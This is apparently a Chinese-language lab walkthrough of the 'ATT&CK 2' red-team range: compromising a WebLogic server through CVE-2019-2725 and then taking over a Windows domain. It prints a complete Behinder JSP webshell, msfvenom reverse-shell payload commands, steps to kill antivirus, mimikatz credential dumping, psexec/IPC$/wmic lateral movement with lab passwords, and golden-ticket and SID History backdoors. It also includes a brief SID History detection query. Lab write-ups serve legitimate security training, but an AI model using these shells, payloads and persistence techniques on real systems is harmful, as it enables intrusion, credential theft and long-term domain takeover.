ATT&CK(二)
ATT&CK(二)
环境搭建
DC**:**
IP:10.10.10.10
OS:Windows 2012
应用:AD域
WEB(初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX 登录进去):
IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
应用:Weblogic 10.3.6 MSSQL 2008
PC:
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX
WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动(Computer Browser 一直自动关闭导致 net view 显示 6118 error 没能解决,在域信息收集时暂时关闭一下防火墙)
信息搜集
拿到环境后,首先进行端口探测
nmap -sP 192.169.111.2/24
用于扫描 192.169.111.2/24 这个网段中的所有主机,检查它们是否在线。/24 表示子网掩码为 255.255.255.0,也就是说,这个网段有 256 个 IP 地址,从 192.169.111.0 到 192.169.111.255。
nmap -sS -sV -A -T4 -p- 192.168.111.8
0
扫描 192.168.111.8 这个 IP 地址的所有端口
-sS 表示使用 TCP SYN 扫描,这是一种快速且隐蔽的扫描方式。
-sV 表示进行服务版本探测,这可以获取目标主机上运行的服务的名称和版本。
-A 表示进行操作系统探测和脚本扫描,这可以获取目标主机的操作系统类型和其他有用的信息。
-T4 表示使用较快的扫描速度,这可以加快扫描过程,但也可能导致一些结果丢失或不准确。
-p- 表示扫描所有端口,从 1 到 65535。
-
445端口开放可能存在smb服务可能还会有ms17-010 端口溢出漏洞
-
139端口开放就存在有samba服务可能会有远程命令执行漏洞
-
1433端口开放就存在mssql服务有可能存在爆破 注入 sa弱口令
-
3389远程桌面服务
-
7001端口 weblogic服务
外网渗透
用 WeblogicScan 扫描一下可能存在的漏洞
1 | python WeblogicScan.py -u 192.168.111.80 -p 7001 |
确定漏洞存在
访问http://192.168.111.80:7001/uddiexplorer/SearchPublicRegistries.jsp
师傅总结的五种状态
状态一
状态二
状态三
状态四
状态五
利用CVE-2019-2725写shell
工具地址
https://www.aliyundrive.com/s/FqGpaqvHcGt
注意要java8运行
1 | "C:\Program Files\Java\jre1.8.0_101\bin\java.exe" -jar E:\anquan\shentou\CVE\java.jar |
可以先获取信息
上传冰蝎马,关于选择 webshell 上传路径问题,参考 https://www.cnblogs.com/sstfy/p/10350915.html
把shell写到images目录中
1 | C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\wan.jsp |
冰蝎shell
1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> |
还是用自己本地冰蝎版本的shell才行 默认链接密码是rebeyond
上传木马文件,尝试连接CS
Administrator/1qaz@WSX
正常来说上传之后,运行
1 | cd C:\Windows & system32.exe |
就能上线,但是web虚拟机程序不完整没连上
上线msf
1 | msfconsole |
1 | msfconsole //启动msf |
这里攻击机需要能够访问到被攻击机
刚开始用的服务器,访问不到,一直没成功
msf派生cs
1 | background |
1 | background //将当前会话放到后台 |
上线后sleep 0 关闭防火墙以及,windows defender
shell tasklist 查看杀软
之前发现有360,杀一下进程
1 | ps | grep 360 |
提权
迁移到高权限进程
1 | ps -ef | grep svchost.exe |
使用svc-exe进行提权
,上线SYSTEM1
令牌窃取提权
1 | load incognito 加载incognito(伪装) |
信息搜集
域环境
1 | 查看域名 net config workstation |
1 | shell ipconfig/all |
发现机器有双网卡,内网 10.10.10.1/24 网段,域控 ip 10.10.10.10(域控一般是本机的DNS服务器或者shell net group "domain controllers" /domain
查看域控制器)
net view
1 | Ladon 10.10.10.0/24 OnlinePC # 多协议探测存活主机(IP、机器名、MAC地址、制造商) |
使用ladon插件
凭据获取
抓取Hash
hashdump
抓取明文凭证(密码)
这里用到了mimikatz****
可以看到已经获取的密码凭证,可以在后面用于psexec横向渗透
横向渗透
横向渗透概念:
横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。
在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
SMB横向
psexec横向移动
哈希传递
psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。
需探测域控机器是否开放445端口
先创建一个SMB监听器
域控上线
伪造凭据
首先移除令牌
1 | rev2self |
通过之前获得的DC 管理的token生成新的凭证
接下来就SMB横向了
域控上线
IPC$
MSF
IPC$入侵,即通过使用Windows系统默认启动的IPC$共享获得计算机控制权的入侵
搜先改一下vim /etc/proxychain4
添加路由
1 | run post/multi/manage/autoroute |
生成木马,设置listener为刚才设置的
1 | msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.10.80 lport=9999 -f exe > /tmp/p.exe |
meterpreter进行监听
1 | use exploit/multi/handler |
ipc连接
1 | shell net use \\10.10.10.10\ipc$ "1qaz@WSX" /user:Administrator |
1 | shell copy C:\Users\de1ay.DE1AY\Desktop\p.exe \\10.10.10.10\c$\windows\temp\p.exe |
要先将payload.exe上传到C:\Users\de1ay\Desktop\
目录,成功将木马传输到域控主机
在跳板机上通过wmic命令执行木马
1 | shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\p.exe" |
域控上线
CS
点击监听器设置 lport ,lhost
msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.10.80 lport=9998 -f exe > /tmp/p.exe
shell net use \10.10.10.10\ipc$ “1qaz@WSX” /user:Administrator
shell copy C:\Users\de1ay.DE1AY\Desktop\a.exe \10.10.10.10\c$\windows\temp\a.exe
shell wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create “C:\Windows\Temp\a.exe”
这个路由不知道怎么弄没成功
后渗透权限维持
域控信息收集
在域控获得KRBTGT账户NTLM密码哈希和SID
抓取NTLM密码哈希
抓取SID
-
tip1
1
wmic useraccount get name,sid
-
tip2
1
logonpasswords
域名
黄金票据利用
黄金票据是伪造票据授予票据(TGT),也被称为认证票据。TGT仅用于向域控制器上的密钥分配中心(KDC)证明用户已被其他域控制器认证。
1 | 黄金票据的条件要求: |
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。
成功访问C盘
没有权限则会显示
SID History域后门
原文链接:https://blog.51cto.com/bypass/6097702
SID History可以防止用户迁移进入不同的域后权限发生改变,原理是如果迁移后用户SID改变了系统会将其原来的SID添加到迁移以后的用户SID History属性中,使其依然可以访问原来的资源,可以使用mimikatz把SID History属性添加到任意用户SID History属性,这样在获取域管理员权限后可以实现持久化
域控制器上新建一个恶意用户test
1 | net user test Admin124578 /add |
使用域管理员权限的 Poweshell 查看 tester 用户的 SID History 属性
1 | Import-Module ActiveDirectory |
使用域管理员权限运行mimikatz,将administrator的SID添加到普通用户test的SID History属性中。
1 | privilege::debug //提升权限 |
重新查看test用户的SID History属性
使用 test 用户登录域控服务器,可以看到已经拥有了管理员权限。
检测方法
检测SID History后门的最佳方式就是枚举所有具体SID History属性的用户数据,找到用户的SIDHistory属性中的SID以“500”结尾的账号。
1 | Get-ADUser -Filter "SIDHistory -like '*'" -Properties SIDHistory| ` Where { $_.SIDHistory -Like "*-500" } |
每次更改用户对象时,都会生成4738的事件,监控SidHistory属性更改情况。另外,在windows日志里,没有找到4765和4766这两个事件,这里做个备注。(4765代表将 SID Histtory属性添加到用户的日志。4766代表将SID History属性添加到用户失败的日志。)
上线PC
发现DC域还有一个mssql机器
web给pc创建一个映射
1 | shell net use X: \\pc\c$ |
显示有一个X
手贱把进程给关了,又不知道是什么玄学错误连不上了,直接搬WP
然后传MSF木马:
BASH
1 | meterpreter > upload /home/kali/msf.exe X://msf.exe |
接下来就是怎么去执行木马的问题了。
而且这样传不会弹360 -,-
先试了一下创建一个服务:
BASH
1 | C:\Oracle\Middleware\user_projects\domains\base_domain>sc \\10.10.10.201 create bdtttttt binpath="C:\\msf.exe" |
没有办法成功。
建立IPC连接:
BASH
1 | C:\Oracle\Middleware\user_projects\domains\base_domain>net use \\pc\ipc$ |
居然成功了,定时任务执行:
BASH
1 | C:\Oracle\Middleware\user_projects\domains\base_domain>at \\pc 15:23:00 cmd.exe /c "start C:\\msf.exe" |
拿下。****
白银票据
1 | 所需条件: |
获取明文密码